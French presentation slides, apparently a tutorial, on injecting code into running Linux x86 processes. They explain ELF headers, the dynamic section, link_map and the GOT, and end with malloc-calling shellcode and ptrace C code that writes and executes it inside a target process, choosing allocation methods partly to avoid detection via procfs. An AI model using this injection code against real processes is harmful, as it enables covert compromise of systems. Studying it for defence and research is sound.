Infection de processus Linux (x86)

Infection ?

- Modification de l’image memoire d’un processus en cours d’execution
- Mise en place d’un code executer a un moment arbitraire
- Difference avec un ‘virus’ : la replication.

Le format ELF

- Une en-tete contenant les references sur chaques section.
- La Program Header Table (PHT) (obligatoire)
  - (p_type, p_offset, p_vaddr, p_paddr etc…)
  - Sert a creer l'image memoire du processus.
  - Une entrée par segment du programme.
- La Section Header Table (SHT) (optionnel)
  - (sh_name, sh_type, sh_offset etc…)
  - Sert au linker a construire le binaire a partir des objets 'relocatable'
  - Tableau de structure chacune associee a une section

Section .dynamic

- Utilisee lors du link et de la resolution de symboles
- Resoudre ‘printf()’. Parcours de tout les segments DYNAMIC du processus (binaire+.so chargees).
- Chaque entre des segments DYNAMIC est de la forme:

```
Typedef struct {
    Elf32_Sword     d_tag; /* Dynamic entry type */
    union
    {
        Elf32_Word   d_val /* Integer value */
        Elf32_Addr   d_ptr  /* Address value */
    } d_un;
  } Elf32_Dyn;
```

Structure de la memoire d'un processus

- --> cat /proc/self/maps
-

```
08048000-0804c000 r-xp 00000000 03:01 589888      /bin/cat
0804c000-0804d000 rw-p 00003000 03:01 589888      /bin/cat
0804d000-0806e000 rw-p 0804d000 00:00 0
40000000-40016000 r-xp 00000000 03:01 671812      /lib/ld-2.3.2.so
40016000-40017000 rw-p 00015000 03:01 671812      /lib/ld-2.3.2.so
40017000-40018000 rw-p 40017000 00:00 0
40020000-40150000 r-xp 00000000 03:01 2048100     /lib/tls/libc-2.3.2.so
40150000-40159000 rw-p 0012f000 03:01 2048100     /lib/tls/libc-2.3.2.so
40159000-4015c000 rw-p 40159000 00:00 0
bffff000-c0000000 rw-p bffff000 00:00 0
ffffe000-fffff000 ---p 00000000 00:00 0 /* vsyscalls = on s'en tape !*/
```

Link_map

- Link_map est une liste chainee qui contient une trace des adresses de chargement des librairies (creee par ld).

- struct link_map
```
 {
   ElfW(Addr) l_addr;        /* Base address shared object is loaded at.  */
   char *l_name;             /* Absolute file name object was found in.  */
   ElfW(Dyn) *l_ld;          /* Dynamic section of the shared object.  */
   struct link_map *l_next, *l_prev; /* Chain of loaded objects.  */
 };
```

- L'adresse du premier maillon de link_map est disponible dans la Global Offset Table (GOT) (Deuxieme des trois premieres entrees reservees)

```
readelf -a /bin/bash
(...)
Dynamic segment at offset 0xa19d4 contains 22 entries:
  Tag        Type                         Name/Value

 0x00000003 (PLTGOT)                     0x80eaac0
(...)
```

Methode d’allocation pour notre code

- Possibilite de cherche une zone memoire en ecriture => ca pue !
- Mmap ? => bof :/ (Visible depuis le procfs)
- Malloc ? => Meilleur ! (si pile executable)

Allocation a base de malloc… (man malloc ?)

Faire executer un code a malloc() !

- Stop du process
- Ecriture de code a EIP (en prenant soin de sauvegarder le code original)
- Continuer l'execution en SINGLESTEP.
- Recuperation de la valeur de retour de malloc

-> Shellcode d'appel a malloc:

```
push $IMAL_SIZE_OF_AREA
mov  $MALLOC_TO_RELOC, %eax
call   *%eax
pop   %ebx
ret
```

Ou encore :

"\x68\x00\x10\x00\x00\xb8\xd3\xc0\x4d\xd3\xff\xd0\x5b\xc3"

```
        xptrace(PTRACE_GETREGS, pid, 0, &regs);
        read_data(pid, (void *) regs.eip, backup, size_of_alloc_code);
        /* Push Eip sur la stack et update ESP */
        regs.esp -= 4;
        old_eax = regs.orig_eax;
        regs.orig_eax = (-1);
        xptrace(PTRACE_POKETEXT, pid, (void *) regs.esp, (void *) regs.eip);
        xptrace(PTRACE_SETREGS, pid, 0, &regs);
        /* Ecriture du code */
        write_data(pid, (long *) code, (void *) regs.eip,
                    size_of_alloc_code);
        /* Execution du code jusqu'au retour d'EIP a sa valeur initiale*/
        while (1) {
                xptrace(PTRACE_SINGLESTEP, pid, 0, 0);
                wait4(pid, 0, 0, 0);
                xptrace(PTRACE_GETREGS, pid, 0, &regs_tmp);
                if ((regs_tmp.eip == regs.eip)) {
                                printf("[+] Allocation code injected and executed.\n");
                                break;
                }
        }
/*  Restauration  des registres*/
regs.esp += 4;
regs.orig_eax = old_eax;
xptrace(PTRACE_SETREGS, pid, 0, &regs);
write_data(pid, (void *) backup, (void *) regs.eip, size_of_alloc_code);
```